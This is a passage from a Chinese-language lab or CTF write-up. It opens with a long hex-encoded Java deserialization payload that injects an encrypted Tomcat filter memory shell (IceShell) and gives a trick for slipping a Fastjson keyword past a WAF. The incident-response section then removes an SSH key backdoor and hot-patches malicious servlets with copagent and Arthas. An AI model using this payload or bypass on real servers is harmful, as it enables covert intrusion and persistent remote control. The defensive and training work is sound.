6d4632595339735957356e4c304e7359584e7a4f7745414157494241414a6251674541436c4e7664584a6a5a555a706247554241415a564c6d7068646d454d41415541426777414741415a415141425651454146577068646d4576624746755a7939446247467a633078765957526c636745414332526c5a6d6c755a554e7359584e7a415141584b46744353556b7054477068646d4576624746755a7939446247467a637a734149514144414151414141414141414941414141464141594141514148414141414f67414341414941414141474b6975334141477841414141416741494141414142674142414141414167414a4141414146674143414141414267414b4141734141414141414159414441414e414145414151414f41413841415141484141414150514145414149414141414a4b6973444b37363341414b7741414141416741494141414142674142414141414177414a4141414146674143414141414351414b414173414141414141416b4145414152414145414151415341414141416741540701480c0149014a01000b646566696e65436c61737301000f6a6176612f6c616e672f436c61737307014b0c014c00730c014d014e07012f0c014f0150010001550c015101520100206a6176612f6c616e672f436c6173734e6f74466f756e64457863657074696f6e0100106a6176612f6c616e672f4f626a6563740c015301540c015501560100156a6176612f6c616e672f436c6173734c6f616465720c015701580701590c015a01390c015b015c0100016707012d0c015d015e01000341455307015f0c0160016101001f6a617661782f63727970746f2f737065632f5365637265744b6579537065630c016201630c006301640c006a016501001673756e2f6d6973632f4241534536344465636f6465720c016601670701680c0169013b0c016a014a0c016b016c0c015b016d010006657175616c730100136a6176612f6c616e672f457863657074696f6e01000c4175746f6d6e6547726565740100306f72672f6170616368652f636174616c696e612f6c6f616465722f576562617070436c6173734c6f61646572426173650c016e016f0701700c017101720100286f72672f6170616368652f636174616c696e612f636f72652f5374616e64617264436f6e746578740100286f72672e6170616368652e636174616c696e612e636f72652e5374616e64617264436f6e746578740c017301520c017401750701760c0177017801000d6a6176612f7574696c2f4d617001000c7365632f4963655368656c6c01002f6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724465660c0179017a0c017b017c0c017d017c0c017e017f01002f6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724d61700100062f7368656c6c0c0180017c0701810c018201830c00c1013b0c0184017c0c018501860100306f72672f6170616368652f636174616c696e612f636f72652f4170706c69636174696f6e46696c746572436f6e66696701001b6f72672f6170616368652f636174616c696e612f436f6e74657874010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a617661782f736572766c65742f46696c74657201001e6a617661782f736572766c65742f536572766c6574457863657074696f6e01001c6a617661782f736572766c65742f536572766c65745265717565737401001d6a617661782f736572766c65742f536572766c6574526573706f6e73650100196a617661782f736572766c65742f46696c746572436861696e01001e6a617661782f736572766c65742f687474702f4874747053657373696f6e0100136a6176612f696f2f494f457863657074696f6e0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01000a67657453657373696f6e01002228294c6a617661782f736572766c65742f687474702f4874747053657373696f6e3b010003707574010038284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010015676574436f6e74657874436c6173734c6f6164657201001928294c6a6176612f6c616e672f436c6173734c6f616465723b0100096765744d6574686f6401001428294c6a6176612f6c616e672f537472696e673b0100106a6176612f6c616e672f537472696e67010015284c6a6176612f6c616e672f4f626a6563743b295a010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b01000d6765745375706572636c6173730100076765744e616d65010040284c6a617661782f736572766c65742f536572766c6574526571756573743b4c6a617661782f736572766c65742f536572766c6574526573706f6e73653b29560100106a6176612f7574696c2f42617365363401000a6765744465636f6465720100074465636f64657201000c496e6e6572436c617373657301001c28294c6a6176612f7574696c2f426173653634244465636f6465723b0100186a6176612f7574696c2f426173653634244465636f6465720100066465636f6465010016284c6a6176612f6c616e672f537472696e673b295b420100116a6176612f6c616e672f496e7465676572010004545950450100116765744465636c617265644d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b01000d73657441636365737369626c65010004285a29560100096c6f6164436c617373010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b01000776616c75654f660100162849294c6a6176612f6c616e672f496e74656765723b010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100166765744465636c61726564436f6e7374727563746f72010033285b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f436f6e7374727563746f723b01001d6a6176612f6c616e672f7265666c6563742f436f6e7374727563746f7201000e676574436c6173734c6f6164657201000b6e6577496e7374616e6365010027285b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b01000c736574417474726962757465010027284c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b29560100136a617661782f63727970746f2f43697068657201000b676574496e7374616e6365010029284c6a6176612f6c616e672f537472696e673b294c6a617661782f63727970746f2f4369706865723b010008676574427974657301000428295b42010017285b424c6a6176612f6c616e672f537472696e673b295601001728494c6a6176612f73656375726974792f4b65793b295601000967657452656164657201001a28294c6a6176612f696f2f42756666657265645265616465723b0100166a6176612f696f2f4275666665726564526561646572010008726561644c696e6501000c6465636f6465427566666572010007646f46696e616c010006285b42295b4201001428294c6a6176612f6c616e672f4f626a6563743b01000c6765745265736f757263657301002728294c6f72672f6170616368652f636174616c696e612f5765625265736f75726365526f6f743b0100236f72672f6170616368652f636174616c696e612f5765625265736f75726365526f6f7401000a676574436f6e7465787401001f28294c6f72672f6170616368652f636174616c696e612f436f6e746578743b010007666f724e616d650100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c64010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b01000973657446696c746572010019284c6a617661782f736572766c65742f46696c7465723b295601000d73657446696c7465724e616d65010015284c6a6176612f6c616e672f537472696e673b295601000e73657446696c746572436c61737301000c61646446696c746572446566010034284c6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724465663b295601000d61646455524c5061747465726e01001c6a617661782f736572766c65742f44697370617463686572547970650100075245515545535401001e4c6a617661782f736572766c65742f44697370617463686572547970653b01000d7365744469737061746368657201001261646446696c7465724d61704265666f7265010034284c6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724d61703b29560021004b005e0001005f0001001200600061000100620000000200020008000100630064000100650000003d000200010000000b2ab700012a1202b50003b10000000200660000000e00030000002600040024000a002700670000000c00010000000b0068006900000001006a006b00020065000000350000000200000001b10000000200660000000600010000002a00670000001600020000000100680069000000000001006c006d0001006e000000040001006f00010070007100020065000003180006000a000001ab2bc000043a042cc000053a051904b9000601003a06bb000759b700083a07190712091906b9000a0300571907120b1904b9000a0300571907120c1905b9000a030057b8000db6000e3a081904b9000f01001210b600119901541908b60012b60013b600141215b6001199001e1908b60012b600133a092a19091908190619041907b60016a7011e1908b60012b60013b60013b600141215b600119900211908b60012b60013b600133a092a19091908190619041907b60016a700ea1908b60012b60013b60013b60013b600141215b600119900241908b60012b60013b60013b600133a092a19091908190619041907b60016a700b01908b60012b60013b60013b60013b60013b600141215b600119900271908b60012b60013b60013b60013b600133a092a19091908190619041907b60016a700701908b60012b60013b60013b60013b60013b60013b600141215b6001199002a1908b60012b60013b60013b60013b60013b600133a092a19091908190619041907b60016a7002a1908b60012b60013b60013b60013b60013b60013b600133a092a19091908190619041907b600162d2b2cb900170300b100000004006600000072001c0000002d0006002e000c002f00150030001e0031002a00320036003300420034004a003500590037006c0038007600390087003a009d003b00aa003c00bb003d00d4003e00e4003f00f5004001110041012400420135004301540044016a0045017b00470194004801a2004b01aa004e006700000098000f0076001100720073000900aa001100720073000900e4001100720073000901240011007200730009016a001100720073000901940016007200730009000001ab006800690000000001ab007400750001000001ab007600770002000001ab007800790003000601a5007a007b0004000c019f007c007d000500150196007e007f0006001e018d008000810007004a016100820083000800840000000c0001001e018d0080008500070086000000330007ff0087000907008707008807008907008a07008b07008c07008d07008e07008f000033393ffb0045fc0026070090fa0007006e0000000600020091006f000100920064000100650000002b0000000100000001b10000000200660000000600010000005100670000000c00010000000100680069000000010093009400020065000002e50006001200000133b800181219b6001a3a062b121b06bd001c5903121d535904b2001e535905b2001e53b6001f3a07190704b60020013a082c1221b600223a08a700293a0919072c06bd00245903190653590403b800255359051906beb8002553b60026c0001c3a08190804bd001c5903122753b600283a09190904b60029190904bd002459032ab60012b6002a53b6002b3a0a1908122c04bd001c5903121d53b6001f3a0b190b04b6002012023a0c2d122d190cb9002e0300122fb800303a0d190d05bb003159190cb60032122fb70033b60034190dbb003559b700361904b900370100b60038b60039b6003a3a0e190b190a04bd00245903190e53b60026c0001c3a0f190fb6003b3a10190f123c04bd001c5903122453b6001f3a11191104b600201911191004bd00245903190553b6002657a700053a07b1000200300038003b0023000a012d0130003d000400660000006a001a00000054000a005700270058002d00590030005c0038005f003b005d003d005e006100610071006200770063008c0064009e006500a4006600a8006700b2006800b9006900cd006a00e8006b00fd006c0104006d0116006e011c006f012d007101300070013200730067000000c00013003d002400950096000900270106009700980007003000fd009900730008007100bc009a009b0009008c00a1009c009d000a009e008f009e0098000b00a80085009f0061000c00b9007400a000a1000d00e8004500a200a3000e00fd003000a40073000f0104002900a5009d00100116001700a60098001100000133006800690000000001330072007300010000013300820083000200000133007e007f000300000133007a007b000400000133008000810005000a012900a700a3000600840000000c0001000001330080008500050086000000480004ff003b000907008707009007008f07008d07008b07008e07001d0700a807009000010700a925ff00ce000707008707009007008f07008d07008b07008e07001d00010700aa0100ab0000000200ac000100ad00ae000200650000003f0000000300000001b1000000020066000000060001000000760067000000200003000000010068006900000000000100af00b000010000000100b100b20002006e00000004000100b3000100ad00b400020065000000490000000400000001b10000000200660000000600010000007900670000002a0004000000010068006900000000000100af00b000010000000100b500b600020000000100b700b80003006e00000004000100b3000800b9006400010065000001da0005000a000000de123e4bb8000db6000ec0003f4c2bb60040b900410100c000424d1243b800441245b600464e2d04b600472d2cb60048c000493a041904123eb9004a0200c7009cbb004b59b7004c3a05bb004d59b7004e3a0619061905b6004f1906123eb6005019061905b60012b60014b600512c1906b60052bb005359b700543a0719071255b600561907123eb600571907b20058b60059b6005a2c1907b6005b125c05bd001c5903125d535904124d53b600283a08190804b60029190805bd002459032c535904190653b6002bc0005c3a091904123e1909b9000a030057a700044bb10001000000d900dc003d000300660000006600190000007d0003007e000d007f001a008000250081002a0082003400830040008400490085005200860059008700600088006d00890073008a007c008b0083008c008a008d0095008e009b008f00b0009000b6009100cd009200d9009500dc009400dd0097006700000066000a0049009000ba00bb00050052008700bc00bd0006007c005d00be00bf000700b00029009a009b000800cd000c006c00c00009000300d600c100610000000d00cc00c200c30001001a00bf00c400c50002002500b400c600c70003003400a500c80081000400860000000a0003fb00d9420700aa00000200c90000000200ca01460000000a000100e400e101450009707400013170770100787372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc4020000787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d65737361676571007e00055b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b787071007e0014707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd22390200007870000000027372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e00057870000000297400087365632e43335030740009433350302e6a61766174000367656e7371007e00170000001171007e001971007e001a7400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e00137872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b7870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a657870000000007704000000007871007e0023787372001e636f6d2e616c69626162612e666173746a736f6e2e4a534f4e417272617900000000000000010200014c00046c69737471007e001378707371007e00220000000177040000000171007e00077878;",
    }
}

直接打会发现再次被拦了，说明过滤的userOverridesAsString

直接对其Unicode编码绕过发现还是无法绕过，不过可以通过添加_或+处理关键字绕过

可参考：https://y4tacker.github.io/2022/03/30/year/2022/3/%E6%B5%85%E8%B0%88Fastjson%E7%BB%95waf/

出现上述报错则说明内存马注入成功

应急响应Ⅲ

首先排查隐藏用户、端口、进程等并无异常，接着发现存在ssh后门，直接删除即可

1
2
/home/vulntarget/ >cat ~/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEisTimbKUHUXBUJUo4WbOxTQY9VHM1ZaL35RQgBTwNUWlm353XdHcq8HxA1U9MLp/Lepaw/U5tQ5Y2qF9TzhAUoTiAiwAKREFuLHugeL/eWTyZAnRN/2OQ4XX5IBsMDFbZAvNRUSaOLIAtpNz/ZFj1NDuCWR7p/2EYFB0YvHxaS9OWrUb0Zh21GOQR6apCYY/+IbVVGKr+MwlI0Df0kv7hns9IpapwEctI0rzayL+NYtvFUyterTV4HfnPij7LxyGqK62ZEsJOQSnON+mj1Dp6Ukz1krdUoVmxrEseQe6CJemq3BHolDi7zbQo4BbxnTQUYwzl9li04ZL2h75xQuUEPb6nxVanUEEJ7CT/fIclvCHsdO9MJ5l2V8ROetkukslKlPxEVZ8q2Up1S4SQk90cYLLnj2+wJNSNw343kIOrIjtQY8E16RhVqVMMGmKW5Ui/FU6X/lfKjISjxqBN6HB65Q74ISMD+IN3kVPSI52rwqaea5/TdjKiDxzkO8bAXU= hacker@anonymous

其次在/var/local/目录下也有个app.jar，下载下来反编译看看并未发现异常

拿D盾检测也没发现异常文件

然后用copagent工具检测，运行后会识别正在运行的应用，输入对应ID，会在同目录下生成.copagent目录储存结果

https://github.com/LandGrey/copagent/raw/release/cop.jar

result.txt中记录所有的类及危险等级

在class目录下会保存木马以及运行的类

还原出内存马（IceShell是我自己打进去的可以排除掉，剩下就是异常的

ShellServlet存在很明显的exec

HttpServlet也不难看出很有可能就是内存马

还可以拿D盾来扫描检查

这里热更新我们换一种方式，直接利用Arthas工具反编译并提取ShellServlet类的代码

1
jad --source-only ShellServlet > /tmp/ShellServlet.java

接着去/tmp目录下找到ShellServlet.java进行修改

然后直接让他的类加载器去编译，再去热更新即可

1
2
3
sc -d *ShellServlet | grep classLoaderHash
mc -c 56ae04b4 /tmp/ShellServlet.java -d /var/
retransform /var/ShellServlet.class

同理对HttpServlet类进行热更新

1
2
3
4
5
6
7
jad --source-only ShellServlet > /tmp/ShellServlet.java

vim /tmp/HttpServlet.java

sc -d *HttpServlet | grep classLoaderHash
mc -c 49c2faae /tmp/HttpServlet.java -d /var/
retransform /var/javax/servlet/http/HttpServlet.class

应急成功，拿下flag3：flag{57f92fa987141af1770d2b0ca894960f}